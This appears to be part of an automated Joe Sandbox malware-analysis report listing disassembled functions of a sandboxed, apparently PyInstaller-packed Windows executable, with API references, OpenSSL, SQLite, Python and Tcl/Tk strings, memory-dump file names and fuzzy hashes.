API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: 6b311e013661d88019044c8d22ac4984071de2e1b38d022f686d164072ab9c7d
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 52313D3761CB8186DB608F29E8402AE73A4FB88758F540139EB9D83BA5EF38D555CB00

Function 00007FFE00761CBC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 292COMMON

Download Yara Rule

Strings

construct_stateful_ticket, xrefs: 00007FFE007D715B
resumption, xrefs: 00007FFE007D6EC3
tls_construct_new_session_ticket, xrefs: 00007FFE007D6DCD, 00007FFE007D6E7E, 00007FFE007D7009, 00007FFE007D7083
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFE007D6DD9, 00007FFE007D6E8A, 00007FFE007D6FA3, 00007FFE007D6FC3, 00007FFE007D7015, 00007FFE007D708F, 00007FFE007D7167

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem_srvr.c$construct_stateful_ticket$resumption$tls_construct_new_session_ticket
API String ID: 0-1194634662
Opcode ID: d7c51ff00aa3bb62bc4b7c529fdc1557d19d858cb9888e3d1740cde6f66a3c2f
Instruction ID: f997f149aa84e96b7a774a2fb3f15b3d23fb55bfb8fb4152f15a769ba805ea96
Opcode Fuzzy Hash: d7c51ff00aa3bb62bc4b7c529fdc1557d19d858cb9888e3d1740cde6f66a3c2f
Instruction Fuzzy Hash: EFD17E21B0E68281EB14AB65D8547B967A0FB85B84F4C4036EF8D4BBAEDE3DE541C710

Function 00007FF6B7521874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75218C0
FindFirstFileExW.KERNEL32 ref: 00007FF6B75219CA

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: e0dc1134c1ede4e01cd5a65e05e741f536f6f00a3cfd438340bcb22d5fea85c2
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: 8CB1B423B1C69241EA61DF2A99002BA63A1EF44BE4F545131EF5D9BBE5EF3CE841C300

Function 00007FFE00761EE2 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 470COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE007BCCF4

Strings

tls_parse_ctos_psk, xrefs: 00007FFE007BCE7A, 00007FFE007BCECD, 00007FFE007BCFFB, 00007FFE007BD0D6, 00007FFE007BD135
D:\a\1\s\include\internal/packet.h, xrefs: 00007FFE007BCAE9, 00007FFE007BCAFD
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE007BCB37, 00007FFE007BCE86, 00007FFE007BCED4, 00007FFE007BD002, 00007FFE007BD0DD, 00007FFE007BD13C

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_psk
API String ID: 3568877910-3130753023
Opcode ID: bb6fdb0651d5f52247cd78fcf81d5255b842004060db7846350dbb3ed1d0d898
Instruction ID: 6c549e20a35669ffae189c731095f5df337004ead705dc4098add03d466f91af
Opcode Fuzzy Hash: bb6fdb0651d5f52247cd78fcf81d5255b842004060db7846350dbb3ed1d0d898
Instruction Fuzzy Hash: D112B562A0EA8281FB61BB65D4543BD67A1FF81784F488032DF8D57BADDE7CE9418700

Function 00007FF6B7525E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B7525EAA

Part of subcall function 00007FF6B75255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752560C

_get_daylight.LIBCMT ref: 00007FF6B7525EBB

Part of subcall function 00007FF6B7525598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255AC

_get_daylight.LIBCMT ref: 00007FF6B7525ECC

Part of subcall function 00007FF6B75255C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75255DC

Part of subcall function 00007FF6B751A948: HeapFree.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6B752610C), ref: 00007FF6B7525EF3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: c97ae06fdf2f689c01fc93bfbba8d2e3fb59e61bf1d702adbaa5a3a2cea08dfb
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: FC514C33A1C64286E720DF29D8815B97761FB88794F414136EB4EC7AB6DF3CE4518740

Function 00007FFE0131C380 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 377COMMON

Download Yara Rule

Strings

recovered %d frames from WAL file %s, xrefs: 00007FFE0131C8D8
, xrefs: 00007FFE0131C40F

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID:
String ID: $recovered %d frames from WAL file %s
API String ID: 0-3175670447
Opcode ID: e5641cb21486a6acf6a1fe0ade8eb86be90981cbbdf825e132ca60860199bf83
Instruction ID: c6f3bbad9e7c62c9e0c727fac651ed0132b329f2bd5091d2040c6fa6bcb43c97
Opcode Fuzzy Hash: e5641cb21486a6acf6a1fe0ade8eb86be90981cbbdf825e132ca60860199bf83
Instruction Fuzzy Hash: 66F18E36A08786CAE7649F25E08076E77A1F784B98F025135DE5D8BBA8DF7CD844CB40

Function 00007FFE007624DC Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 329COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE007B3366

Strings

..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FFE007B330E, 00007FFE007B3482, 00007FFE007B34EE, 00007FFE007B3536, 00007FFE007B3742, 00007FFE007B3780, 00007FFE007B37B7
tls_construct_ctos_psk, xrefs: 00007FFE007B3302, 00007FFE007B3476, 00007FFE007B34E2, 00007FFE007B352A, 00007FFE007B3736, 00007FFE007B3774, 00007FFE007B37AB

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\extensions_clnt.c$tls_construct_ctos_psk
API String ID: 3568877910-446233508
Opcode ID: 7fb5678b9f67f08e663784aae6565b9e065ad5c58e2e1987a57ae2b77471c9e7
Instruction ID: c8ecf4e572a5d1acf18f77e8536214048f5034be0b7d2db2cc7e4ca5478d5127
Opcode Fuzzy Hash: 7fb5678b9f67f08e663784aae6565b9e065ad5c58e2e1987a57ae2b77471c9e7
Instruction Fuzzy Hash: 6AD163A1B0E68381FA60BA22D5507BA5295EF84BC4F5C0031DF4E47BAEDF3DE6818751

Function 00007FF6B7505830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505840
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505852
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505889
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750589B
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058B4
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058C6
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058DF
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058F1
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750590D
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750591F
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750593B
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750594D
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505969
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750597B
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505997
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059A9
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059C5
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059D7

Strings

PyConfig_Clear, xrefs: 00007FF6B750598D, 00007FF6B75059AF
Py_IsInitialized, xrefs: 00007FF6B7505931, 00007FF6B7505953
PyErr_Print, xrefs: 00007FF6B7505B59, 00007FF6B7505B7B
PyUnicode_Join, xrefs: 00007FF6B7505FA9, 00007FF6B7505FCB
PyUnicode_FromFormat, xrefs: 00007FF6B7505F4D, 00007FF6B7505F6F
PyEval_EvalCode, xrefs: 00007FF6B7505BB5, 00007FF6B7505BD7
Py_InitializeFromConfig, xrefs: 00007FF6B7505903, 00007FF6B7505925
PyUnicode_Decode, xrefs: 00007FF6B7505EF1, 00007FF6B7505F13
PyObject_GetAttrString, xrefs: 00007FF6B7505D53, 00007FF6B7505D75
PyRun_SimpleStringFlags, xrefs: 00007FF6B7505E0B, 00007FF6B7505E2D
PyImport_AddModule, xrefs: 00007FF6B7505BE3, 00007FF6B7505C05
Py_DecodeLocale, xrefs: 00007FF6B750587F, 00007FF6B75058A1
PyUnicode_FromString, xrefs: 00007FF6B7505F7B, 00007FF6B7505F9D
PyImport_ImportModule, xrefs: 00007FF6B7505C3F, 00007FF6B7505C61
PyObject_CallFunction, xrefs: 00007FF6B7505CF7, 00007FF6B7505D19
PySys_SetObject, xrefs: 00007FF6B7505E95, 00007FF6B7505EB7
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6B7505DDD, 00007FF6B7505DFF
PyUnicode_Replace, xrefs: 00007FF6B7505FD7, 00007FF6B7505FF9
Py_Finalize, xrefs: 00007FF6B75058D5, 00007FF6B75058F7
PyObject_CallFunctionObjArgs, xrefs: 00007FF6B7505D25, 00007FF6B7505D47
PyConfig_Read, xrefs: 00007FF6B75059E9, 00007FF6B7505A0B
PyConfig_SetBytesString, xrefs: 00007FF6B7505A17, 00007FF6B7505A39
PyErr_NormalizeException, xrefs: 00007FF6B7505AFD, 00007FF6B7505B1F
PyConfig_SetString, xrefs: 00007FF6B7505A45, 00007FF6B7505A67
PyObject_Str, xrefs: 00007FF6B7505DAF, 00007FF6B7505DD1
PyErr_Occurred, xrefs: 00007FF6B7505B2B, 00007FF6B7505B4D
PyModule_GetDict, xrefs: 00007FF6B7505CC9, 00007FF6B7505CEB
PyConfig_InitIsolatedConfig, xrefs: 00007FF6B75059BB, 00007FF6B75059DD
Py_ExitStatusException, xrefs: 00007FF6B75058AA, 00007FF6B75058CC
PyObject_SetAttrString, xrefs: 00007FF6B7505D81, 00007FF6B7505DA3
Py_DecRef, xrefs: 00007FF6B7505836, 00007FF6B7505858
PyStatus_Exception, xrefs: 00007FF6B7505E39, 00007FF6B7505E5B
PyMarshal_ReadObjectFromString, xrefs: 00007FF6B7505C6D, 00007FF6B7505C8F
PySys_GetObject, xrefs: 00007FF6B7505E67, 00007FF6B7505E89
PyErr_Fetch, xrefs: 00007FF6B7505ACF, 00007FF6B7505AF1
PyImport_ExecCodeModule, xrefs: 00007FF6B7505C11, 00007FF6B7505C33
PyErr_Clear, xrefs: 00007FF6B7505AA1, 00007FF6B7505AC3
PyErr_Restore, xrefs: 00007FF6B7505B87, 00007FF6B7505BA9
PyUnicode_DecodeFSDefault, xrefs: 00007FF6B7505F1F, 00007FF6B7505F41
Failed to get address for %hs, xrefs: 00007FF6B7505861
PyUnicode_AsUTF8, xrefs: 00007FF6B7505EC3, 00007FF6B7505EE5
PyMem_RawFree, xrefs: 00007FF6B7505C9B, 00007FF6B7505CBD
GetProcAddress, xrefs: 00007FF6B7505868
PyConfig_SetWideStringList, xrefs: 00007FF6B7505A73, 00007FF6B7505A95
Py_PreInitialize, xrefs: 00007FF6B750595F, 00007FF6B7505981

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 51059412cc8c27bda031adb8049a171a26fb45d4a4ab3af1fd8e4184feb329f4
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 2022C367A0DB0792FB56DB5DA824AB423B0FF04789F645039CB5E822B1FF3CB5589244

Function 00007FF6B75076C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6B75076D7
GetLastError.KERNEL32 ref: 00007FF6B75076E9
GetProcAddress.KERNEL32 ref: 00007FF6B7507725
GetLastError.KERNEL32 ref: 00007FF6B7507737
GetProcAddress.KERNEL32 ref: 00007FF6B7507750
GetLastError.KERNEL32 ref: 00007FF6B7507762
GetProcAddress.KERNEL32 ref: 00007FF6B750777B
GetLastError.KERNEL32 ref: 00007FF6B750778D
GetProcAddress.KERNEL32 ref: 00007FF6B75077A9
GetLastError.KERNEL32 ref: 00007FF6B75077BB
GetProcAddress.KERNEL32 ref: 00007FF6B75077D7
GetLastError.KERNEL32 ref: 00007FF6B75077E9
GetProcAddress.KERNEL32 ref: 00007FF6B7507805
GetLastError.KERNEL32 ref: 00007FF6B7507817
GetProcAddress.KERNEL32 ref: 00007FF6B7507833
GetLastError.KERNEL32 ref: 00007FF6B7507845
GetProcAddress.KERNEL32 ref: 00007FF6B7507861
GetLastError.KERNEL32 ref: 00007FF6B7507873

Strings

Tcl_EvalEx, xrefs: 00007FF6B7507BC1, 00007FF6B7507BE3
Tk_GetNumMainWindows, xrefs: 00007FF6B7507CA7, 00007FF6B7507CC9
Tcl_CreateInterp, xrefs: 00007FF6B750771B, 00007FF6B750773D
Tcl_EvalObjv, xrefs: 00007FF6B7507BEF, 00007FF6B7507C11
Tcl_GetCurrentThread, xrefs: 00007FF6B7507857, 00007FF6B7507879
Tcl_DeleteInterp, xrefs: 00007FF6B75077FB, 00007FF6B750781D
Tcl_MutexUnlock, xrefs: 00007FF6B75078E1, 00007FF6B7507903
Tcl_NewStringObj, xrefs: 00007FF6B7507ADB, 00007FF6B7507AFD
Tk_Init, xrefs: 00007FF6B7507C79, 00007FF6B7507C9B
Tcl_ConditionNotify, xrefs: 00007FF6B750796B, 00007FF6B750798D
Tcl_DoOneEvent, xrefs: 00007FF6B7507771, 00007FF6B7507793
Tcl_CreateObjCommand, xrefs: 00007FF6B7507A7F, 00007FF6B7507AA1
Tcl_Alloc, xrefs: 00007FF6B7507C1D, 00007FF6B7507C3F
Tcl_EvalFile, xrefs: 00007FF6B7507B93, 00007FF6B7507BB5
Tcl_NewByteArrayObj, xrefs: 00007FF6B7507B09, 00007FF6B7507B2B
Tcl_Init, xrefs: 00007FF6B75076D0, 00007FF6B75076EF
Tcl_JoinThread, xrefs: 00007FF6B7507885, 00007FF6B75078A7
Tcl_Finalize, xrefs: 00007FF6B750779F, 00007FF6B75077C1
Tcl_FinalizeThread, xrefs: 00007FF6B75077CD, 00007FF6B75077EF
Tcl_ThreadAlert, xrefs: 00007FF6B75079F5, 00007FF6B7507A17
Tcl_ThreadQueueEvent, xrefs: 00007FF6B75079C7, 00007FF6B75079E9
Tcl_GetVar2, xrefs: 00007FF6B7507A23, 00007FF6B7507A45
Tcl_SetVar2Ex, xrefs: 00007FF6B7507B37, 00007FF6B7507B59
Tcl_GetString, xrefs: 00007FF6B7507AAD, 00007FF6B7507ACF
Tcl_ConditionFinalize, xrefs: 00007FF6B750793D, 00007FF6B750795F
Tcl_MutexFinalize, xrefs: 00007FF6B750790F, 00007FF6B7507931
Tcl_MutexLock, xrefs: 00007FF6B75078B3, 00007FF6B75078D5
Tcl_CreateThread, xrefs: 00007FF6B7507829, 00007FF6B750784B
Failed to get address for %hs, xrefs: 00007FF6B75076F8
Tcl_SetVar2, xrefs: 00007FF6B7507A51, 00007FF6B7507A73
Tcl_GetObjResult, xrefs: 00007FF6B7507B65, 00007FF6B7507B87
GetProcAddress, xrefs: 00007FF6B75076FF
Tcl_FindExecutable, xrefs: 00007FF6B7507746, 00007FF6B7507768
Tcl_ConditionWait, xrefs: 00007FF6B7507999, 00007FF6B75079BB
Tcl_Free, xrefs: 00007FF6B7507C4B, 00007FF6B7507C6D

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: afbf8e44049606493b6a61ad48ef1a32b219ed5e998c9ce3becdb61ddd17fc57
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 9202E66AE0DB0B91FE169B5CE8149B423B5BF04789F540439CB6E822B4FF3CB55AD250

Function 00007FF6B75081D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6B75086B7,?,?,00000000,00007FF6B7503CBB), ref: 00007FF6B750822C

Part of subcall function 00007FF6B7502810: MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6B750829D
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6B75082D9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6B7508373
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6B7508203
%.*s, xrefs: 00007FF6B750830C
CreateDirectory, xrefs: 00007FF6B750837C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6B7508240
\, xrefs: 00007FF6B7508261

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
